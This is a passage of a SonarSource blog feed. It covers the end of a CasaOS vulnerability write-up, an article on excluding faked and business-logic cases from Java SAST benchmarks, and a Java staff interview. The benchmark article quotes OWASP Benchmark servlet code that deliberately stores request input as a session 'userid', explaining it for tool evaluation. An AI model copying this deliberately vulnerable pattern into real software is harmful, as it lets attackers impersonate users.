&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary of ​​CasaOS Vulnerabilities&lt;/h2&gt;&lt;p&gt;In this article, we came back to the details behind CVE-2023-37265 and CVE-2023-37266, two critical code vulnerabilities in CasaOS. These are fairly simple security vulnerabilities to identify and exploit, and we are aware of public exploits for them; we encourage you again to update all your CasaOS instances.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Interestingly, even with modern languages such as Go, whole classes of design bugs are still likely to arise in new software. Education is essential to security, and we hope this article helps you spot and prevent similar pitfalls in your code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In general, identifying IP addresses at the application layer is risk-prone and shouldn&amp;#x27;t be relied on for security decisions. Many different headers may transport this information (&lt;code&gt;X-Forwarded-For&lt;/code&gt;, &lt;code&gt;Forwarded&lt;/code&gt;, etc.), and the language APIs sometimes need to interpret nuances of the HTTP protocol the same way. Similarly, all frameworks have their own quirks and can be tricky to navigate without expert knowledge of these common security footguns. Again, the first finding was caused by a documented feature: the framework does what it claims to do.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you would like to learn more about this topic and how it became &lt;em&gt;very &lt;/em&gt;hard for developers to make sensible decisions based on these headers, we strongly recommend reading Adam  Pritchard&amp;#x27;s &lt;a href=&quot;https://adam-p.ca/blog/2022/03/x-forwarded-for/&quot;&gt;The perils of the “real” client IP&lt;/a&gt;–we only scratched the surface of what can go wrong in our article.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also recommend users of any personal NAS solutions to consider restricting their network exposure, for instance, with a VPN tunnel. These devices often contain personal data and are connected to our internal networks–they are goldmines to attackers and should be secured as such.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a final note, we thank CasaOS maintainers, especially &lt;a href=&quot;https://github.com/CorrectRoadH&quot;&gt;CorrectRoadH&lt;/a&gt; and &lt;a href=&quot;https://github.com/tigerinus&quot;&gt;tigerinus&lt;/a&gt;, for their very efficient handling of our reports and interesting discussions.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/why-orms-and-prepared-statements-cant-always-win/&quot;&gt;Why ORMs and Prepared Statements Can&amp;#x27;t (Always) Win&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/onedev-remote-code-execution/&quot;&gt;Securing Developer Tools: OneDev Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution/&quot;&gt;Cacti: Unauthenticated Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Java SAST Benchmarks: why you shouldn't trust them blindly]]></title><description><![CDATA[ Java SAST Benchmarks: why you shouldn't trust them blindly]]></description><link>https://www.sonarsource.com/blog/java-sast-benchmarks-why-you-shouldn-t-trust-them-blindly</link><guid isPermaLink="false">cd239cab-913e-5474-8c2b-b4255b4c52c1</guid><dc:creator><![CDATA[Pierre-Loup Tristant]]></dc:creator><pubDate>Wed, 11 Oct 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In a &lt;a href=&quot;https://www.sonarsource.com/blog/sonar-s-scoring-on-the-top-3-java-sast-benchmarks/&quot;&gt;previous article&lt;/a&gt;, we shared how Sonar scores on the Top 3 Java SAST Benchmarks:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/OWASP-Benchmark/BenchmarkJava&quot;&gt;OWASP Benchmark&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/WebGoat/WebGoat&quot;&gt;OWASP WebGoat&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/OWASP/SecurityShepherd&quot;&gt;OWASP Security Shepherd&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When analyzing the benchmarks with SAST products available in the market, you may come across numerous results, making it challenging to determine what issues SAST products are expected to identify.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For this reason, we have built a ground truth dataset that contains a comprehensive list of issues that should be detected in the code. However, upon careful examination, you may notice that certain test cases are not included in this dataset.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Today, we would like to draw attention to two specific categories of test cases that we have excluded and discuss the reasons why SAST products are unable to detect them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Fake vulnerabilities&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;WebGoat is a dynamic learning platform that offers a collection of lessons, each designed to illustrate a specific category of vulnerabilities and educate users on how common web security flaws can be exploited. While it is not a benchmark, we can think of each challenge within WebGoat as a test case where vulnerabilities should be detected in the code. In theory, all vulnerabilities should be detectable using SAST techniques. However, in practice, SAST tools are only able to identify a subset of vulnerabilities. Let&amp;#x27;s have a look at a lesson where nothing is detected and try to understand the root cause.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;WebGoat user interface looks like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3bb1f708-2c09-4900-bde8-6f43b60eab5f/Webgoat%20image%20for%20PL%20blog.png&quot; /&gt;&lt;p&gt;On the left panel, a list of lessons is presented, and one of the root items catches our attention with its familiar name: Server-Side Request Forgery (SSRF). In this particular lesson, at step 2, users are supposed to exploit an SSRF vulnerability by manipulating the server&amp;#x27;s request to retrieve an image. The solution is to modify the &lt;code&gt;url&lt;/code&gt; parameter so that it fetches &lt;code&gt;jerry.png&lt;/code&gt; instead of &lt;code&gt;tom.png.&lt;/code&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;url=images%2Fjerry.png&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Sonar has a rule specifically designed to detect this vulnerability (&lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-5144/&quot;&gt;S5144&lt;/a&gt;), but it reports 0 issues in this case. What is the reason behind this false negative? To shed light on this matter, let&amp;#x27;s take a closer look at the code for this lesson:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@RestController
public class SSRFTask1 extends AssignmentEndpoint {

  @PostMapping(&quot;/SSRF/task1&quot;)
  @ResponseBody
  public AttackResult completed(@RequestParam String url) {
    return stealTheCheese(url);
  }

  protected AttackResult stealTheCheese(String url) {
    try {
      StringBuilder html = new StringBuilder();

      if (url.matches(&quot;images/tom.png&quot;)) {
        html.append(
            &quot;&lt;img class=\&quot;image\&quot; alt=\&quot;Tom\&quot; src=\&quot;images/tom.png\&quot; width=\&quot;25%\&quot;&quot;
                + &quot; height=\&quot;25%\&quot;&gt;&quot;);
        return failed(this).feedback(&quot;ssrf.tom&quot;).output(html.toString()).build();
      } else if (url.matches(&quot;images/jerry.png&quot;)) { // `url` is compared to the an expected value
        html.append(
            &quot;&lt;img class=\&quot;image\&quot; alt=\&quot;Jerry\&quot; src=\&quot;images/jerry.png\&quot; width=\&quot;25%\&quot;&quot;
                + &quot; height=\&quot;25%\&quot;&gt;&quot;);
        return success(this).feedback(&quot;ssrf.success&quot;).output(html.toString()).build();
      } else {
        html.append(&quot;&lt;img class=\&quot;image\&quot; alt=\&quot;Silly Cat\&quot; src=\&quot;images/cat.jpg\&quot;&gt;&quot;);
        return failed(this).feedback(&quot;ssrf.failure&quot;).output(html.toString()).build();
      }
    } catch (Exception e) {
      e.printStackTrace();
      return failed(this).output(e.getMessage()).build();
    }
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Typically, Server-Side Request Forgeries involve manipulating the URL to which the server sends requests. However, in this particular case, there is no sign of the commonly used API for sending HTTP requests, such as &lt;code&gt;java.net.HttpURLConnection&lt;/code&gt;. Instead, the code simply verifies that the user input &lt;code&gt;url&lt;/code&gt; matches &lt;code&gt;images/jerry.png&lt;/code&gt;. When trying to send something other than &lt;code&gt;images/jerry.png&lt;/code&gt; and &lt;code&gt;images/tom.png&lt;/code&gt; the application outputs “You need to stick to the game plan!”.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar will not detect an SSRF vulnerability in this case because the vulnerability is purely faked. Consequently, we did not include this as an expected issue in the ground truth.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;OWASP WebGoat has a few other lessons that do not contain the vulnerability that is supposed to be illustrated. Out of the total 28 lessons, 11 of them are either fake or based on business logic flaws (see next section).&lt;/p&gt;&lt;h2&gt;Purely business logic vulnerabilities&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The OWASP Java Benchmark was specifically designed to assess any AST tool, including DAST (Dynamic Application Security Testing). The majority of test cases within the benchmark can and should be detected by SAST engines. However, we have intentionally excluded test cases like this one:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {

    response.setContentType(&quot;text/html;charset=UTF-8&quot;);

    Map&lt;String, String[]&gt; map = request.getParameterMap();
    String param = &quot;&quot;;
    if (!map.isEmpty()) {
        String[] values = map.get(&quot;BenchmarkTest00031&quot;);
        if (values != null) param = values[0];
    }

    request.getSession().putValue(&quot;userid&quot;, param);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this particular test case, the user has control over the value of the variable &lt;code&gt;param&lt;/code&gt;, which is then used to set a session variable called &lt;code&gt;userid&lt;/code&gt; on the server side. The benchmark maintainer has classified this test case as “&lt;a href=&quot;https://cwe.mitre.org/data/definitions/501.html&quot;&gt;CWE-501: Trust Boundary Violation&lt;/a&gt;”. To provide a more precise definition, this problem occurs when programs blur the line between what is trusted and what is untrusted. As a result, developers inevitably lose track of which data has been validated and which has not.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Although the code for this test case is artificial and the &lt;code&gt;userid&lt;/code&gt; session variable is not used after that, we can imagine a scenario where the application relies on &lt;code&gt;userid&lt;/code&gt; for user authentication. In such a case, changing the value of &lt;code&gt;userid&lt;/code&gt; could potentially allow attackers to impersonate another user. As this is a serious security concern, it may be desirable to detect such vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The technology used to detect if user inputs are used in sensitive APIs is known as &amp;quot;taint analysis.&amp;quot;. In this specific case, using taint analysis would make it relatively easy to identify patterns where a user-controlled value enters the second argument of methods like &lt;code&gt;javax.servlet.http.HttpSession#putValue&lt;/code&gt;. By doing so, it would make it possible to detect this test case. However, this approach could also raise issues with very common development practices.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s now consider a slightly different test case:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {

    response.setContentType(&quot;text/html;charset=UTF-8&quot;);

    Map&lt;String, String[]&gt; map = request.getParameterMap();
    String param = &quot;&quot;;
    if (!map.isEmpty()) {
        String[] values = map.get(&quot;BenchmarkTest00031&quot;);
        if (values != null) param = values[0];
    }

    request.getSession().putValue(&quot;lang&quot;, param); //The session variable name is now different
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The session variable name has changed and it’s now called &lt;code&gt;lang&lt;/code&gt;. If a SAST tool implements the logic we described earlier, it will also detect a vulnerability in this example. However, If the &lt;code&gt;lang&lt;/code&gt; variable is used to store the language preference of the user, it is likely not a vulnerability, and detecting it would result in a false-positive. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To detect the safe from the unsafe case, an option would be to apply keyword-based heuristics: only raise an issue if the key contains the word “secret”, “id”, “session” etc. Keyword-based heuristics are very fragile though as they usually only work for one language.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Understanding the business logic of the application is crucial in determining whether setting &lt;code&gt;userid&lt;/code&gt; with arbitrary values is safe or not. SAST tools have a limited understanding of the application&amp;#x27;s business logic because it varies from one application to another, and inferring it from the code is often difficult or impossible.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is why purely business logic vulnerabilities are not typically detected by static analysis. Attempting to detect them would inevitably lead to false positives on safe code and provide no value to developers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a result, we have excluded approximately 7% of purely business logic test cases, including those classified as &amp;#x27;Trust Boundary&amp;#x27;, from the OWASP Java Benchmark.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Analyzing benchmarks and vulnerable applications is a convenient way to assess SAST product&amp;#x27;s capabilities. These projects contain many relevant test cases that help us identify and overcome the limits of our analyzers. Go to &lt;a href=&quot;https://sonarcloud.io/&quot;&gt;SonarCloud&lt;/a&gt; and analyze one of the 3 benchmarks yourself to make your own opinion.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;Benchmarks should not be considered a universal truth as they are rarely designed for the sole purpose of measuring the performance of SAST.  In some cases, vulnerabilities may be intentionally faked, making them impossible to detect.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SAST tools excel at finding issues that manifest at the code level. They provide limited value when it comes to detecting issues where part of the information is in the code, while the rest of the context is not. Vulnerability classes such as authentication or access-control flaws often require the human eye and a deep understanding of the application’s logic to be detected and remediated.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Interview with Sonar Java Enthusiasts]]></title><description><![CDATA[Interview with Sonar Java Enthusiasts]]></description><link>https://www.sonarsource.com/blog/interview-with-sonar-java-enthusiasts</link><guid isPermaLink="false">0ad95888-3061-5231-b6a4-ffeb325fecba</guid><dc:creator><![CDATA[Tony Graham]]></dc:creator><pubDate>Mon, 09 Oct 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Sonar has a soft spot for Java. Along with being one of the first languages for which we developed rules, many Sonar team members are passionate about making Java the best it can be. We spoke with three different Sonar employees, Jonathan Villa developer relations, Alexandre Gigleux product manager, and Marharyta Nedzelska developer, to find out what inspires their love of Java.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Why should I learn Java?&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Jonathan Villa&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are millions of devices and thousands of applications using Java. It’s a very learning-friendly and fun language as well. So why not Java?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Check out Jonathan&amp;#x27;s full interview:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/nOJooDwqDQQ?si=JJLC2PQfBeAWlMM&quot;&gt;Java is one of the most popular programming languages of all time. In this video interview, Sonar Java Developer Advocate Jonathan Vila highlights its impact, best use cases, and why any developer should consider coding in Java!&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Alexandre Gigleux&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Java is being used by a huge number of companies all over the world. Wherever you go, you will most likely find Java running in the background. Java has been in the top five programming languages for many years so it shows there is a high demand in the market. Java is running millions of applications on multiple devices including desktop, mobile, and embedded systems.&lt;/p&gt;&lt;p&gt;Aside from always being able to find a job as a Java developer, Java has a vast ecosystem of open-source libraries and frameworks. It’s so cool to just rely on open-source libraries to help you do your work. Finally, Java has a huge community that is always willing to help.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Check out Alexandre&amp;#x27;s full interview:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/ACZqTrM5Frs?si=ww-hnS8EjQE7pboK&quot;&gt;Java is one of the most popular programming languages of all time. In this video interview, Soanr Java Developer &amp; Product Manager Alexandre Gigleux highlights its impact, best use cases, and why any developer should consider coding in Java!&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Marharyta Nedzelska&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Why not Java? It’s one of the most popular programming languages in the world. A lot of websites and applications are written in Java. You use tools written in Java every day from websites to services. Even on your mobile devices, you can find a lot of Java under the hood. And isn&amp;#x27;t it just interesting to find out how it works under the hood?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Check out Marharyta&amp;#x27;s full interview:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/2jYXRu9dOJM?si=bN2P1G9MjUEy7IP0&quot;&gt;Java is one of the most popular programming languages of all time. In this video interview, Soanr Java Developer &amp; Software Engineer Marharyta Nedzelska highlights its impact, best use cases, and why any developer should consider coding in Java!&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;What are the best use cases for Java and which are better fit for another language?&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Jonathan Villa&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Java is mainly used in the backend but I would say it’s hard to find a use case where Java doesn’t fit. Comparing Java to other languages, like Go, it’s been said that Java lacks in performance. But nowadays, that’s not entirely true and Java has a very high level of performance. Even more so if we consider using native artifacts. &lt;/p&gt;&lt;p&gt;In the past, Java took a long time to start but that’s almost solved as well making Java a great choice for about any use case.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Alexandre Gigleux&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I would say forget front-end development and focus on using Java on the backend. Java would be the foundation of my business. No matter what you use to develop the front side, Java is there to support you on the backend.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Marharyta Nedzelska&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I think the most widely used use case for Java is server-side development. It shines when you need the benefit from multithreads and where you need to implement high loads. Java is the best when you don’t care about fast startups but care a lot about performance. However, with the ability to compile into the native (using GraalVM, for example), Java can achieve fast startup and can be used in the cloud functions.&lt;/p&gt;&lt;p&gt;Java is a great general-purpose language but there are several situations where I wouldn’t use it. Things like scripting, cloud functions, and data science are best suited for other languages. Not that you couldn’t use Java but with data science, there are already a lot of libraries and infrastructure available for Python.&lt;/p&gt;&lt;h2&gt;What are your thoughts on Java tooling and its maturity?&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Jonathan Villa&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Java has been around for over 25 years so there are a lot of tools and IDEs as well as a lot of extensions for those IDEs. So the developer now has a lot of help during the coding process. Same for testing, there is not one framework for testing but lots of them and they are always evolving.   &lt;/p&gt;&lt;p&gt;One of the strongest aspects of Java is its ecosystem. Compared to other languages, Java is old but not outdated. There is stability and maturity in the process so you won’t find things always coming and going. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Alexandre Gigleux&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Java is very mature and stable. You don’t need to learn a new framework every three months. At one point there were a lot of different frameworks on the market but now it is more mature and more stable. We estimate that the Spring framework is trusted by 80% of the market. This allows developers to focus on their projects instead of constantly learning new frameworks. &lt;/p&gt;&lt;p&gt;The same can be said about Java IDE’s and libraries. Java has lots of mature proven tools that let the developers focus on the business logic and delivering value to the user.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Marharyta Nedzelska&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With Java being one of the most popular languages we have a lot of proven infrastructure available to the developers. Take IDEs for example, I started with NetBeans and then used Eclipse and now it&amp;#x27;s IntelliJ. Back then they were more like just editors with some features. Nowadays IDEs are not just editors, they are extremely advanced tools, helping you to create a collaborative environment, write cleaner code, and find bugs before they even reach production.&lt;/p&gt;&lt;h2&gt;What is a recent change to Java that gets you excited?&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Jonathan Villa&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One particular thing that I love in the Java ecosystem is the ahead-of-time compilation approach used by several frameworks. With ahead-of-time compilation, frameworks can create applications that are very fast and take less memory plus they can be compiled into a native artifact you can run on any Linux machine without having the JVM installed.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Alexandre Gigleux&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I was pretty excited when Java 8 introduced Java Stream. This really allowed developers to write more concise and specific code for processing data. Even though it really isn’t new now, it really improved the readability and maintainability. It was easy for developers not involved in the project to come in and easily understand what the code was trying to do. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Marharyta Nedzelska&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I am excited about the move away from Java 8. There are so many new and exciting features that happened after Java 8 and we could not use them because the world was stuck on Java 8. Currently, the situation has changed, and we can finally have Records, Pattern matching, and many other cool features in our codebase.&lt;/p&gt;&lt;h2&gt;What does Clean Code mean to you?&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Jonathan Villa&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Clean Code means coding better. It means taking security and performance very seriously. Not taking a Clean Code approach is costing companies a lot of money. In the US alone, poor quality code costs businesses more than 2 trillion dollars. That’s a big motivator to take a Clean Code approach. &lt;/p&gt;&lt;p&gt;I know there are people who think using this approach is a hard thing to do. When you first analyze a project you may have thousands of issues. It can be overwhelming. But, by focusing only on the new code, and clean as you code, it’s very easy to implement and manage. After five years, you will only have around 30% of your old code still around. &lt;/p&gt;&lt;p&gt;It not only benefits the company, but it helps the developer improve their coding skills and grow as a professional. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Alexandre Gigleux&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Clean Code means code you can be proud of many years after it has been released. It means code that is built to last, code you write for your future you. It should be easy to read, understand, and change.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Marharyta Nedzelska&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Clean Code means the perfect state of code. Now, you can never really achieve 100% perfect code but Clean Code is the process of trying to achieve perfect code. Every time you touch some code, you fix some issues and bugs. It’s all about the process of trying to achieve this ideal state.&lt;/p&gt;&lt;h2&gt;The Final Question&lt;/h2&gt;&lt;p&gt;We asked the interviewees a personal question about their relationship with Java for the final question. &lt;/p&gt;&lt;h2&gt;What excites you most about being part of the Java community?&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Jonathan Villa&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I would say I have two professional lives. One before joining the Java community and another totally different life after joining the community. &lt;/p&gt;&lt;p&gt;The community makes Java what it is after 25 years. It’s not something that other languages can say or will be able to say. The Java community gives you lots of opportunities to learn, grow, and meet amazing people. People in the community are super kind and open to sharing knowledge for free. &lt;/p&gt;&lt;p&gt;Companies are benefitting from this community as well. Many community members create and maintain open-source projects on their own time that are used by many businesses. &lt;/p&gt;&lt;p&gt;I definitely encourage people to join and get involved in the Java community. &lt;/p&gt;&lt;h2&gt;How did your drive as a Java developer bring you to Sonar?&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Alexandre Gigleux&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a developer, I wanted to improve myself and my code. I wanted to make sure I was writing code that was clean. So I was looking for tools in the market that could help me accomplish this. When I came across Sonar, I thought to myself, hey, I can really help these guys implement rules that would be expected by Java developers. &lt;/p&gt;&lt;p&gt;So now as a PM, I gather the pains and the mistakes of Java developers so I can provide them a product that will help them write Clean Code.&lt;/p&gt;&lt;h2&gt;How does being a developer at Sonar allow you to help other developers?&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Marharyta Nedzelska&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I remember being interviewed at a conference and being asked what was next for me. Back then I had a pretty solid experience with Java, Kotlin, and Scala. So I was asked, what&amp;#x27;s next? Maybe C++? I said actually I am going to be writing static analysis and rules for Java and several of these other languages. I wanted something new in my journey and Static Analysis is the next level for me. I knew I could accomplish this here at Sonar. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Wrap Up&lt;/h2&gt;&lt;p&gt;A big thank you to Jonathan, Alexandre, and Marharyta, three of Sonar’s very own Java experts. &lt;/p&gt;&lt;p&gt;At Sonar we deliver solutions that add value to developers and help them create Clean Code for Java. Follow us to learn more, or download our free and open-source plugin SonarLint from your favorite IDE marketplace to try it yourself.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Learn more about Clean Code and Java &lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/java/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Bios&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Jonathan Villa&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Java Champion, leader at BarcelonaJUG, and cofounder of JBCNConf and DevBcn conferences. Has worked as a developer for 30 years using several languages. Speaker at several conferences, he loves community....it changed his professional life&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Alexandre Gigleux&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;I began learning Java during my time at university when it was still in its early stages (v1.2). Since then, Java has become my primary programming language, and I have been coding with it continuously. Over the years, I have worked extensively in the banking industry, where I gained a deep understanding of the importance of writing clean code and the consequences of poor code quality. It was during this time that I had the opportunity to meet the team at Sonar and decided to join them in their mission to help millions of Java developers improve their code. At Sonar, I have held various roles and currently serve as a Product Manager, focusing on the Java Ecosystem, as well as Code Security, Speed, and Cloud Native domains.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Marharyta Nedz&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Marharyta is passionate about programming, learning new things, and sharing her knowledge with others. She is a big Kotlin fan and Kotlin GDE. Knows both conference sides: speaking and organizing. She organized a KUG in her native city, Kyiv, because she believes in knowledge sharing and collective intelligence. For her everyday job, she&amp;#x27;s building Static Code Analysis tools for Java, Kotlin, Scala, and other languages, helping other developers all over the world make their code better.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[ISMG Interview - Securing Applications, Accelerating DevOps with Clean Code]]></title><description><![CDATA[Sonar founder and co-CEO, Olivier Gaudin, sits down with ISMG's Tom Field at Black Hat USA 2023 to discuss how development can be improved to avoid security issues.]]></description><link>https://www.sonarsource.com/blog/ismg-interview-securing-applications-accelerating-devops-with-clean-code</link><guid isPermaLink="false">d1c2cf30-3978-52d5-992e-cecfd0b5e517</guid><dc:creator><![CDATA[Katie Hyman]]></dc:creator><pubDate>Thu, 05 Oct 2023 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/D-ycv935v64?si=amZNqWBei0L5ZL4w&quot;&gt;Sonar founder and co-CEO, Olivier Gaudin, sits down with ISMG&apos;s Tom Field at Black Hat USA 2023 to discuss how development can be improved to avoid security issues.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;It’s Cybersecurity Awareness Month! To kick things off, we are taking a look back at the conversation that Sonar founder and co-CEO, Olivier Gaudin, had with Information Security Media Group’s Tom Field &lt;a href=&quot;https://www.bankinfosecurity.com/securing-applications-accelerating-devops-clean-code-a-22857&quot;&gt;at Black Hat USA this year.&lt;/a&gt; The two chatted about &lt;a 